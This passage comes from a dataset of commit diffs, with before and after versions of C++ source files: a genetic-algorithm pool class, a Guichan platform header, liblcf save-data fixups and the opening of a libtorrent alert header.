Environment type.\n                     * @param env Environment.\n                     * @return Minimal error. At return time, the pool is sorted\n                     * using candidates scores.\n                     *\/\n                    template <typename E> double evaluate(E* env) {\n                        \/\/ Evaluate ...\n                        #pragma omp parallel for\n                        for(unsigned int i = 0; i < _count; ++i) {\n                            _score + i = env->evaluate(_pool + i);\n                        }\n\n                        \/\/ ... and sort.\n                        qsort(0, _count - 1);\n\n                        return _score[0];\n                    }\n\n                    \/**\n                     * Simple quick sort for our specific case.\n                     * @param lo Lower bound.\n                     * @param hi Higher bound.\n                     *\/\n                    void qsort(unsigned int lo, unsigned int hi) {\n                        if(lo < hi) {\n                            \/\/ We don't make fat partitionning as we are manipulating\n                            \/\/ fine-grained over-distributed scores. We should not\n                            \/\/ have arrays of identical scores.\n                            unsigned int pivot = partition(lo, hi);\n                            if((pivot - lo) < (hi - (pivot + 1))) {\n                                qsort(lo, pivot);\n                                qsort(pivot + 1, hi);\n                            } else {\n                                qsort(pivot + 1, hi);\n                                qsort(lo, pivot);\n                            }\n\n                        }\n                    }\n\n                    unsigned int partition(unsigned int lo, unsigned int hi) {\n                        double pivot = _score + lo;\n                        unsigned int i = lo - 1;\n                        unsigned int j = hi + 1;\n\n                        for(;;) {\n                            do {\n                                ++i;\n                            } while(_score + i < pivot);\n                            do {\n                                --j;\n                            } while(_score + j > pivot);\n                            if(i >= j) {\n                                return j;\n                            }\n                            double score = _score + i;\n                            C* candidate = _pool + i;\n                            _score + i = _score + j;\n                            _pool + i = _pool + j;\n                            _score + j = score;\n                            _pool + j = candidate;\n                        }\n                        return 0; \/\/ Should never happen.\n                    }\n\n                private:\n\n                    \/**\n                     * Candidate pool.\n                     *\/\n                    C** _pool;\n\n                    \/**\n                     * Pool score.\n                     *\/\n                    double *_score;\n\n                    \/**\n                     * Pool count.\n                     *\/\n                    unsigned int _count;\n            };\n\n        } \/\/ Namespace 'GA'\n    } \/\/ Namespace 'Logic'\n} \/\/ Namespace 'Headless'\n\n#endif\n<commit_msg>Late fix on genetic algorithm engine before stress test.<commit_after>\/*\n * Copyright 2016 Stoned Xander\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#ifndef HEADLESS_LOGIC_GENETIC_ALGORITHM\n#define HEADLESS_LOGIC_GENETIC_ALGORITHM\n\n#include <random>\n\nnamespace Headless {\n    namespace Logic {\n        \/**\n         * Here are proposed some implementations of General Algorithms.\n         * Currently available GAs are:\n         *  - Trivial.\n         *\/\n        namespace GA {\n\n            \/**\n             * Trivial GA.\n             * 1. Generate first pool.\n             * 2. Evaluate pool against a testing environment.\n             * 3. Save the elite.\n             * 4. Create new pool from elite using set of operators.\n             * 5. Back to step 2 until error is superior to specified\n             *    or until generation number is inferior to specified.\n             *\n             * To this purpose, we need the following concepts :\n             * @param <C> Candidates to be evaluated and modified.\n             *\/\n            template <typename C> class Trivial {\n\n                public:\n\n                    \/**\n                     * Constructor.\n                     * @param pSize Pool Size.\n                     *\/\n                    Trivial(unsigned int pSize) : _count(pSize) {\n                        _pool = new C*[pSize];\n                        _score = new double[pSize];\n                    }\n\n                    \/**\n                     * Destructor.\n                     *\/\n                    ~Trivial() {\n                        delete []_pool;\n                        delete []_score;\n                    }\n\n                    \/**\n                     * Training.\n                     * @param <E> Creation and evaluation environment type. It must define\n                     *      the following methods:\n                     *      - void reserve(C**&, unsigned int)\n                     *      - void release(C**, unsigned int)\n                     *      - double evaluate (const C*)\n                     *      - C* clone(const C*)\n                     * @param <... M> Set of operators\/mutators types. A mutator must define\n                     *      the following methods:\n                     *      - double threshold()\n                     *      - void mutate(C**, unsigned int, C*);\n                     * @param env Environment.\n                     * @param maxGen Maximum number of generations.\n                     * @param minErr Minimal accepable error.\n                     * @param eliteSize Percentage of the pool to be taken for creating the next pool.\n                     * @param store A store for results.\n                     * @param size Size of the storage and maximum number of exit candidate.\n                     * @param mutators Set of operators\/mutators for new pool creation.\n                     * @return The number of candidates stored in the specified buffer.\n                     *\/\n                    template <typename E, typename... M> int train(E* env,\n                            unsigned int maxGen, double minErr, double eliteSize,\n                            C** store, unsigned int size,\n                            M... mutators) {\n                        unsigned int eliteCount = _count * eliteSize;\n                        \/\/ We assume that the pool is empty and needs to be filled.\n                        env->reserve(_pool, _count);\n\n                        \/\/ Loop on generations.\n                        for(unsigned int g = 0;\n                                (g < maxGen) && (evaluate(env) > minErr);\n                                ++g) {\n                            \/\/ At this point, the pool is full and sorted.\n                            \/\/ Let's recycle candidates from eliteCount to _count - 1.\n                            #pragma omp parallel for\n                            for(unsigned int i = eliteCount; i < _count; ++i) {\n                                \/\/ Randomly choose a mutators.\n                                mutate(i, eliteCount, mutators...);\n                            }\n                        }\n\n                        unsigned int number = eliteCount < size ? eliteCount : size;\n                        for(unsigned int i = 0; i < number; ++i) {\n                            store[i] = env->clone(_pool[i]);\n                        }\n\n                        \/\/ Clean-up the pool.\n                        env->release(_pool, _count);\n\n                        return number;\n                    }\n\n                private:\n                    \/**\n                     * make a new offspring out of the available mutators.\n                     *\/\n                    template <typename M, typename... O> void mutate(unsigned int pos, unsigned int count,\n                            M mutator, O... others) {\n                        std::random_device rd;\n                        std::mt19937 mt(rd());\n                        std::uniform_real_distribution<double> dist(0.0, 1.0);\n                        double rnd = dist(mt);\n                        if(rnd < mutator->threshold()) {\n                            mutator->mutate(_pool, count, _pool[pos]);\n                        } else {\n                            mutate(pos, count, others...);\n                        }\n                    }\n\n                    template <typename M> void mutate(unsigned int pos, unsigned int count, M mutator) {\n                        mutator->mutate(_pool, count, _pool[pos]);\n                    }\n\n                    \/**\n                     * Evaluate the pool against the environment.\n                     * @param <E> Environment type.\n                     * @param env Environment.\n                     * @return Minimal error. At return time, the pool is sorted\n                     * using candidates scores.\n                     *\/\n                    template <typename E> double evaluate(E* env) {\n                        \/\/ Evaluate ...\n                        #pragma omp parallel for\n                        for(unsigned int i = 0; i < _count; ++i) {\n                            _score[i] = env->evaluate(_pool[i]);\n                        }\n\n                        \/\/ ... and sort.\n                        qsort(0, _count - 1);\n\n                        return _score[0];\n                    }\n\n                    \/**\n                     * Simple quick sort for our specific case.\n                     * @param lo Lower bound.\n                     * @param hi Higher bound.\n                     *\/\n                    void qsort(unsigned int lo, unsigned int hi) {\n                        if(lo < hi) {\n                            \/\/ We don't make fat partitionning as we are manipulating\n                            \/\/ fine-grained over-distributed scores. We should not\n                            \/\/ have arrays of identical scores.\n                            unsigned int pivot = partition(lo, hi);\n                            if((pivot - lo) < (hi - (pivot + 1))) {\n                                qsort(lo, pivot);\n                                qsort(pivot + 1, hi);\n                            } else {\n                                qsort(pivot + 1, hi);\n                                qsort(lo, pivot);\n                            }\n\n                        }\n                    }\n\n                    unsigned int partition(unsigned int lo, unsigned int hi) {\n                        double pivot = _score[lo];\n                        unsigned int i = lo - 1;\n                        unsigned int j = hi + 1;\n\n                        for(;;) {\n                            do {\n                                ++i;\n                            } while(_score[i] < pivot);\n                            do {\n                                --j;\n                            } while(_score[j] > pivot);\n                            if(i >= j) {\n                                return j;\n                            }\n                            double score = _score[i];\n                            C* candidate = _pool[i];\n                            _score[i] = _score[j];\n                            _pool[i] = _pool[j];\n                            _score[j] = score;\n                            _pool[j] = candidate;\n                        }\n                        return 0; \/\/ Should never happen.\n                    }\n\n                private:\n\n                    \/**\n                     * Candidate pool.\n                     *\/\n                    C** _pool;\n\n                    \/**\n                     * Pool score.\n                     *\/\n                    double *_score;\n\n                    \/**\n                     * Pool count.\n                     *\/\n                    unsigned int _count;\n            };\n\n        } \/\/ Namespace 'GA'\n    } \/\/ Namespace 'Logic'\n} \/\/ Namespace 'Headless'\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *    _aaaa,  _aa.  sa,  aaa              _aaaa,_  ac  .aa.   .aa.  .aa,  _a, sa\n *  .wWV!!!T  |Wm;  dQ[  $WF            _mWT!\"?Y  ]QE  :Q#:   ]QW[  :WWk. ]Q[ dW\n * .jWf       :WW: .dQ[  dQ[           .mW(       )WE  :Q#:  .mSQh. :mWQa.]W[ dQ\n * |QW:       :Wm;  mQ[  dQ[           ]Qk        )Qmi_aQW:  <B:$Qc :WBWQ()W[ dQ\n * |W#:  .ww  ;WW;  dQ[  dQ[  .......  ]Qk        )QB?YYW#:  jf ]Qp.:mE)Qm]Q[ )W\n * +WQ;  :Wm  |Wm; .mQ[  dQ[ :qgggggga ]Qm.       ]WE  :Q# :=QasuQm;:Wk 3QQW[ )Y\n *  ]Wmi.:Wm  +$Q; .mW(  dQ[  !\"!!\"!!^ dQk,  ._   ]WE  :Q# :3D\"!!$Qc.Wk -$WQ[   \n *   \"?????? ` \"?!=m?!   ??'            -??????!  -?!  -?? -?'   \"?\"-?\"  \"??' \"?\n *\n * Copyright (c) 2004 darkbits                              Js_.\/\n * Per Larsson a.k.a finalman                          _RqZ{a<^_aa\n * Olof Naessn a.k.a jansem\/yakslem                _asww7!uY`>  )\\a\/\/\n *                                                 _Qhm`] _f \"'c  1!5m\n * Visit: http:\/\/guichan.darkbits.org             )Qk<P ` _: :+' .'  \"{[\n *                                               .)j(] .d_\/ '-(  P .   S\n * License: (BSD)                                <Td\/Z <fP\"5(\\\"??\"\\a.  .L\n * Redistribution and use in source and          _dV>ws?a-?'      ._\/L  #'\n * binary forms, with or without                 )4d[#7r, .   '     )d`)[\n * modification, are permitted provided         _Q-5'5W..j\/?'   -?!\\)cam'\n * that the following conditions are met:       j<<WP+k\/);.        _W=j f\n * 1. Redistributions of source code must       .$%w\\\/]Q  . .\"'  .  mj$\n *    retain the above copyright notice,        ]E.pYY(Q]>.   a     J@\\\n *    this list of conditions and the           j(]1u<sE\"L,. .   .\/^ ]{a\n *    following disclaimer.                     4'_uomm\\.  )L);-4     (3=\n * 2. Redistributions in binary form must        )_]X{Z('a_\"a7'<a\"a,  ]\"[\n *    reproduce the above copyright notice,       #}<]m7`Za??4,P-\"'7. ).m\n *    this list of conditions and the            ]d2e)Q(<Q(  ?94   b-  LQ\/\n *    following disclaimer in the                <B!<\/]C)d_, '(<' .f. =C+m\n *    documentation and\/or other materials      .Z!=J ]e []('-4f _ ) -.)m]'\n *    provided with the distribution.          .w[5]' _[ \/.)_-\"+?   _\/ <W\"\n * 3. Neither the name of darkbits nor the     :$we` _! + _\/ .        j?\n *    names of its contributors may be used     =3)= _f  (_yQmWW$#(    \"\n *    to endorse or promote products derived     -   W,  sQQQQmZQ#Wwa]..\n *    from this software without specific        (js, \\[QQW$QWW#?!V\"\".\n *    prior written permission.                    ]y:.<\\..          .\n *                                                 -]n w\/ '         [.\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT       )\/ )\/           !\n * HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY         <  (; sac    ,    '\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING,               ]^ .-  %\n * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF            c <   r\n * MERCHANTABILITY AND FITNESS FOR A PARTICULAR            aga<  <La\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE          5%  )P'-3L\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR        _bQf` y`..)a\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,          ,J?4P'.P\"_(\\?d'.,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES               _Pa,)!f\/<[]\/  ?\"\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT      _2-..:. .r+_,.. .\n * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,     ?a.<%\"'  \" -'.a_ _,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION)                     ^\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN\n * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef GCN_PLATFORM_HPP\n#define GCN_PLATFORM_HPP\n\n#if defined(_WIN32) && defined(GUICHAN_BUILD)\n#define DECLSPEC _declspec(dllexport)\n#endif\n\n#ifndef DECLSPEC\n#define DECLSPEC\n#endif\n\n#endif \/\/ end GCN_PLATFORM_HPP<commit_msg>Added missing new line<commit_after>\/*\n *    _aaaa,  _aa.  sa,  aaa              _aaaa,_  ac  .aa.   .aa.  .aa,  _a, sa\n *  .wWV!!!T  |Wm;  dQ[  $WF            _mWT!\"?Y  ]QE  :Q#:   ]QW[  :WWk. ]Q[ dW\n * .jWf       :WW: .dQ[  dQ[           .mW(       )WE  :Q#:  .mSQh. :mWQa.]W[ dQ\n * |QW:       :Wm;  mQ[  dQ[           ]Qk        )Qmi_aQW:  <B:$Qc :WBWQ()W[ dQ\n * |W#:  .ww  ;WW;  dQ[  dQ[  .......  ]Qk        )QB?YYW#:  jf ]Qp.:mE)Qm]Q[ )W\n * +WQ;  :Wm  |Wm; .mQ[  dQ[ :qgggggga ]Qm.       ]WE  :Q# :=QasuQm;:Wk 3QQW[ )Y\n *  ]Wmi.:Wm  +$Q; .mW(  dQ[  !\"!!\"!!^ dQk,  ._   ]WE  :Q# :3D\"!!$Qc.Wk -$WQ[   \n *   \"?????? ` \"?!=m?!   ??'            -??????!  -?!  -?? -?'   \"?\"-?\"  \"??' \"?\n *\n * Copyright (c) 2004 darkbits                              Js_.\/\n * Per Larsson a.k.a finalman                          _RqZ{a<^_aa\n * Olof Naessn a.k.a jansem\/yakslem                _asww7!uY`>  )\\a\/\/\n *                                                 _Qhm`] _f \"'c  1!5m\n * Visit: http:\/\/guichan.darkbits.org             )Qk<P ` _: :+' .'  \"{[\n *                                               .)j(] .d_\/ '-(  P .   S\n * License: (BSD)                                <Td\/Z <fP\"5(\\\"??\"\\a.  .L\n * Redistribution and use in source and          _dV>ws?a-?'      ._\/L  #'\n * binary forms, with or without                 )4d[#7r, .   '     )d`)[\n * modification, are permitted provided         _Q-5'5W..j\/?'   -?!\\)cam'\n * that the following conditions are met:       j<<WP+k\/);.        _W=j f\n * 1. Redistributions of source code must       .$%w\\\/]Q  . .\"'  .  mj$\n *    retain the above copyright notice,        ]E.pYY(Q]>.   a     J@\\\n *    this list of conditions and the           j(]1u<sE\"L,. .   .\/^ ]{a\n *    following disclaimer.                     4'_uomm\\.  )L);-4     (3=\n * 2. Redistributions in binary form must        )_]X{Z('a_\"a7'<a\"a,  ]\"[\n *    reproduce the above copyright notice,       #}<]m7`Za??4,P-\"'7. ).m\n *    this list of conditions and the            ]d2e)Q(<Q(  ?94   b-  LQ\/\n *    following disclaimer in the                <B!<\/]C)d_, '(<' .f. =C+m\n *    documentation and\/or other materials      .Z!=J ]e []('-4f _ ) -.)m]'\n *    provided with the distribution.          .w[5]' _[ \/.)_-\"+?   _\/ <W\"\n * 3. Neither the name of darkbits nor the     :$we` _! + _\/ .        j?\n *    names of its contributors may be used     =3)= _f  (_yQmWW$#(    \"\n *    to endorse or promote products derived     -   W,  sQQQQmZQ#Wwa]..\n *    from this software without specific        (js, \\[QQW$QWW#?!V\"\".\n *    prior written permission.                    ]y:.<\\..          .\n *                                                 -]n w\/ '         [.\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT       )\/ )\/           !\n * HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY         <  (; sac    ,    '\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING,               ]^ .-  %\n * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF            c <   r\n * MERCHANTABILITY AND FITNESS FOR A PARTICULAR            aga<  <La\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE          5%  )P'-3L\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR        _bQf` y`..)a\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,          ,J?4P'.P\"_(\\?d'.,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES               _Pa,)!f\/<[]\/  ?\"\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT      _2-..:. .r+_,.. .\n * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,     ?a.<%\"'  \" -'.a_ _,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION)                     ^\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN\n * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef GCN_PLATFORM_HPP\n#define GCN_PLATFORM_HPP\n\n#if defined(_WIN32) && defined(GUICHAN_BUILD)\n#define DECLSPEC _declspec(dllexport)\n#endif\n\n#ifndef DECLSPEC\n#define DECLSPEC\n#endif\n\n#endif \/\/ end GCN_PLATFORM_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * This file is part of liblcf. Copyright (c) 2017 liblcf authors.\n * https:\/\/github.com\/EasyRPG\/liblcf - https:\/\/easyrpg.org\n *\n * liblcf is Free\/Libre Open Source Software, released under the MIT License.\n * For the full copyright and license information, please view the COPYING\n * file that was distributed with this source code.\n *\/\n\n#include \"lcf_options.h\"\n#include \"rpg_actor.h\"\n#include \"rpg_mapinfo.h\"\n#include \"rpg_system.h\"\n#include \"rpg_save.h\"\n#include \"rpg_savemapinfo.h\"\n#include \"data.h\"\n\nvoid RPG::SaveActor::Fixup(int actor_id) {\n\tID = actor_id;\n\n\tconst RPG::Actor& actor = Data::actors[actor_id - 1];\n\n\tif (name == \"\\x1\") {\n\t\tname = actor.name;\n\t}\n\tif (title == \"\\x1\") {\n\t\ttitle = actor.title;\n\t}\n\tif (sprite_name.empty()) {\n\t\tsprite_name = actor.character_name;\n\t\tsprite_id = actor.character_index;\n\t\tsprite_flags = actor.transparent ? 3 : 0;\n\t}\n\tif (face_name.empty()) {\n\t\tface_name = actor.face_name;\n\t\tface_id = actor.face_index;\n\t}\n}\n\nvoid RPG::SaveMapEvent::Fixup(const RPG::EventPage& page) {\n\tif (move_frequency == -1) {\n\t\tmove_frequency = page.move_frequency;\n\t}\n\tif (move_speed == -1) {\n\t\tmove_speed = page.move_speed;\n\t}\n\tif (sprite_name.empty()) {\n\t\tsprite_name = page.character_name;\n\t}\n\tif (sprite_id == -1) {\n\t\tsprite_id = page.character_index;\n\t}\n}\n\nvoid RPG::SaveSystem::Fixup() {\n\tconst RPG::System& system = Data::system;\n\n\tif (graphics_name.empty()) {\n\t\tgraphics_name = system.system_name;\n\t}\n\tif (switches.size() < Data::switches.size()) {\n\t\tswitches.resize(Data::switches.size());\n\t}\n\tif (variables.size() < Data::variables.size()) {\n\t\tvariables.resize(Data::variables.size());\n\t}\n\tif (battle_music.name.empty()) {\n\t\tbattle_music.name = system.battle_music.name;\n\t}\n\tif (battle_end_music.name.empty()) {\n\t\tbattle_end_music.name = system.battle_end_music.name;\n\t}\n\tif (inn_music.name.empty()) {\n\t\tinn_music.name = system.inn_music.name;\n\t}\n\tif (title_music.name.empty()) {\n\t\ttitle_music.name = system.title_music.name;\n\t}\n\tif (boat_music.name.empty()) {\n\t\tboat_music.name = system.boat_music.name;\n\t}\n\tif (ship_music.name.empty()) {\n\t\tship_music.name = system.ship_music.name;\n\t}\n\tif (airship_music.name.empty()) {\n\t\tairship_music.name = system.airship_music.name;\n\t}\n\tif (gameover_music.name.empty()) {\n\t\tgameover_music.name = system.gameover_music.name;\n\t}\n\tif (cursor_se.name.empty()) {\n\t\tcursor_se.name = system.cursor_se.name;\n\t}\n\tif (decision_se.name.empty()) {\n\t\tdecision_se.name = system.decision_se.name;\n\t}\n\tif (cancel_se.name.empty()) {\n\t\tcancel_se.name = system.cancel_se.name;\n\t}\n\tif (buzzer_se.name.empty()) {\n\t\tbuzzer_se.name = system.buzzer_se.name;\n\t}\n\tif (battle_se.name.empty()) {\n\t\tbattle_se.name = system.battle_se.name;\n\t}\n\tif (escape_se.name.empty()) {\n\t\tescape_se.name = system.escape_se.name;\n\t}\n\tif (enemy_attack_se.name.empty()) {\n\t\tenemy_attack_se.name = system.enemy_attack_se.name;\n\t}\n\tif (enemy_damaged_se.name.empty()) {\n\t\tenemy_damaged_se.name = system.enemy_damaged_se.name;\n\t}\n\tif (actor_damaged_se.name.empty()) {\n\t\tactor_damaged_se.name = system.actor_damaged_se.name;\n\t}\n\tif (dodge_se.name.empty()) {\n\t\tdodge_se.name = system.dodge_se.name;\n\t}\n\tif (enemy_death_se.name.empty()) {\n\t\tenemy_death_se.name = system.enemy_death_se.name;\n\t}\n\tif (item_se.name.empty()) {\n\t\titem_se.name = system.item_se.name;\n\t}\n\tif (message_stretch == -1) {\n\t\tmessage_stretch = system.message_stretch;\n\t}\n}\n\nvoid RPG::SaveMapInfo::Fixup(const RPG::Map& map) {\n\tif (chipset_id <= 0) {\n\t\tchipset_id = map.chipset_id;\n\t}\n}\n<commit_msg>Fix how SaveGame Music and sfx are loaded<commit_after>\/*\n * This file is part of liblcf. Copyright (c) 2017 liblcf authors.\n * https:\/\/github.com\/EasyRPG\/liblcf - https:\/\/easyrpg.org\n *\n * liblcf is Free\/Libre Open Source Software, released under the MIT License.\n * For the full copyright and license information, please view the COPYING\n * file that was distributed with this source code.\n *\/\n\n#include \"lcf_options.h\"\n#include \"rpg_actor.h\"\n#include \"rpg_mapinfo.h\"\n#include \"rpg_system.h\"\n#include \"rpg_save.h\"\n#include \"rpg_savemapinfo.h\"\n#include \"data.h\"\n\nvoid RPG::SaveActor::Fixup(int actor_id) {\n\tID = actor_id;\n\n\tconst RPG::Actor& actor = Data::actors[actor_id - 1];\n\n\tif (name == \"\\x1\") {\n\t\tname = actor.name;\n\t}\n\tif (title == \"\\x1\") {\n\t\ttitle = actor.title;\n\t}\n\tif (sprite_name.empty()) {\n\t\tsprite_name = actor.character_name;\n\t\tsprite_id = actor.character_index;\n\t\tsprite_flags = actor.transparent ? 3 : 0;\n\t}\n\tif (face_name.empty()) {\n\t\tface_name = actor.face_name;\n\t\tface_id = actor.face_index;\n\t}\n}\n\nvoid RPG::SaveMapEvent::Fixup(const RPG::EventPage& page) {\n\tif (move_frequency == -1) {\n\t\tmove_frequency = page.move_frequency;\n\t}\n\tif (move_speed == -1) {\n\t\tmove_speed = page.move_speed;\n\t}\n\tif (sprite_name.empty()) {\n\t\tsprite_name = page.character_name;\n\t}\n\tif (sprite_id == -1) {\n\t\tsprite_id = page.character_index;\n\t}\n}\n\nvoid RPG::SaveSystem::Fixup() {\n\tconst RPG::System& system = Data::system;\n\n\tif (graphics_name.empty()) {\n\t\tgraphics_name = system.system_name;\n\t}\n\tif (switches.size() < Data::switches.size()) {\n\t\tswitches.resize(Data::switches.size());\n\t}\n\tif (variables.size() < Data::variables.size()) {\n\t\tvariables.resize(Data::variables.size());\n\t}\n\tif (battle_music.name.empty()) {\n\t\tbattle_music = system.battle_music;\n\t}\n\tif (battle_end_music.name.empty()) {\n\t\tbattle_end_music = system.battle_end_music;\n\t}\n\tif (inn_music.name.empty()) {\n\t\tinn_music = system.inn_music;\n\t}\n\tif (title_music.name.empty()) {\n\t\ttitle_music = system.title_music;\n\t}\n\tif (boat_music.name.empty()) {\n\t\tboat_music = system.boat_music;\n\t}\n\tif (ship_music.name.empty()) {\n\t\tship_music = system.ship_music;\n\t}\n\tif (airship_music.name.empty()) {\n\t\tairship_music = system.airship_music;\n\t}\n\tif (gameover_music.name.empty()) {\n\t\tgameover_music = system.gameover_music;\n\t}\n\tif (cursor_se.name.empty()) {\n\t\tcursor_se = system.cursor_se;\n\t}\n\tif (decision_se.name.empty()) {\n\t\tdecision_se = system.decision_se;\n\t}\n\tif (cancel_se.name.empty()) {\n\t\tcancel_se = system.cancel_se;\n\t}\n\tif (buzzer_se.name.empty()) {\n\t\tbuzzer_se = system.buzzer_se;\n\t}\n\tif (battle_se.name.empty()) {\n\t\tbattle_se = system.battle_se;\n\t}\n\tif (escape_se.name.empty()) {\n\t\tescape_se = system.escape_se;\n\t}\n\tif (enemy_attack_se.name.empty()) {\n\t\tenemy_attack_se = system.enemy_attack_se;\n\t}\n\tif (enemy_damaged_se.name.empty()) {\n\t\tenemy_damaged_se = system.enemy_damaged_se;\n\t}\n\tif (actor_damaged_se.name.empty()) {\n\t\tactor_damaged_se = system.actor_damaged_se;\n\t}\n\tif (dodge_se.name.empty()) {\n\t\tdodge_se = system.dodge_se;\n\t}\n\tif (enemy_death_se.name.empty()) {\n\t\tenemy_death_se = system.enemy_death_se;\n\t}\n\tif (item_se.name.empty()) {\n\t\titem_se = system.item_se;\n\t}\n\tif (message_stretch == -1) {\n\t\tmessage_stretch = system.message_stretch;\n\t}\n}\n\nvoid RPG::SaveMapInfo::Fixup(const RPG::Map& map) {\n\tif (chipset_id <= 0) {\n\t\tchipset_id = map.chipset_id;\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2003, Arvid Norberg, Daniel Wallin\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_ALERT_HPP_INCLUDED\n#define TORRENT_ALERT_HPP_INCLUDED\n\n#include <memory>\n#include <queue>\n#include <string>\n#include <typeinfo>\n\n#ifdef _MSC_VER\n#pragma warning(push, 1)\n#endif\n\n#include <boost\/thread\/mutex.hpp>\n#include <boost\/thread\/condition.hpp>\n\n#include <boost\/preprocessor\/repetition\/enum_params_with_a_default.hpp>\n#include <boost\/preprocessor\/repetition\/enum.hpp>\n#include <boost\/preprocessor\/repetition\/enum_params.hpp>\n#include <boost\/preprocessor\/repetition\/enum_shifted_params.hpp>\n\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include \"libtorrent\/time.hpp\"\n#include \"libtorrent\/config.hpp\"\n#include \"libtorrent\/assert.hpp\"\n\n#ifndef TORRENT_MAX_ALERT_TYPES\n#define TORRENT_MAX_ALERT_TYPES 15\n#endif\n\nnamespace libtorrent {\n\n\tclass TORRENT_EXPORT alert\n\t{\n\tpublic:\n\n\t\t\/\/ only here for backwards compatibility\n\t\tenum severity_t { debug, info, warning, critical, fatal, none };\n\n\t\tenum category_t\n\t\t{\n\t\t\terror_notification = 0x1,\n\t\t\tpeer_notification = 0x2,\n\t\t\tport_mapping_notification = 0x4,\n\t\t\tstorage_notification = 0x8,\n\t\t\ttracker_notification = 0x10,\n\t\t\tdebug_notification = 0x20,\n\t\t\tstatus_notification = 0x40,\n\t\t\tprogress_notification = 0x80,\n\t\t\tip_block_notification = 0x100,\n\t\t\tperformance_warning = 0x200,\n\t\t\tdht_notification = 0x400,\n\n\t\t\tall_categories = 0xffffffff\n\t\t};\n\n\t\talert();\n\t\tvirtual ~alert();\n\n\t\t\/\/ a timestamp is automatically created in the constructor\n\t\tptime timestamp() const;\n\n\t\tvirtual char const* what() const = 0;\n\t\tvirtual std::string message() const = 0;\n\t\tvirtual int category() const = 0;\n\n#ifndef TORRENT_NO_DEPRECATE\n\t\tseverity_t severity() const TORRENT_DEPRECATED { return warning; }\n#endif\n\n\t\tvirtual std::auto_ptr<alert> clone() const = 0;\n\n\tprivate:\n\t\tptime m_timestamp;\n\t};\n\n\tclass TORRENT_EXPORT alert_manager\n\t{\n\tpublic:\n\t\tenum { queue_size_limit_default = 1000 };\n\n\t\talert_manager();\n\t\t~alert_manager();\n\n\t\tvoid post_alert(const alert& alert_);\n\t\tbool pending() const;\n\t\tstd::auto_ptr<alert> get();\n\n\t\ttemplate <class T>\n\t\tbool should_post() const { return (m_alert_mask & T::static_category) != 0; }\n\n\t\talert const* wait_for_alert(time_duration max_wait);\n\n\t\tvoid set_alert_mask(int m) { m_alert_mask = m; }\n\n\t\tsize_t alert_queue_size_limit() const { return m_queue_size_limit; 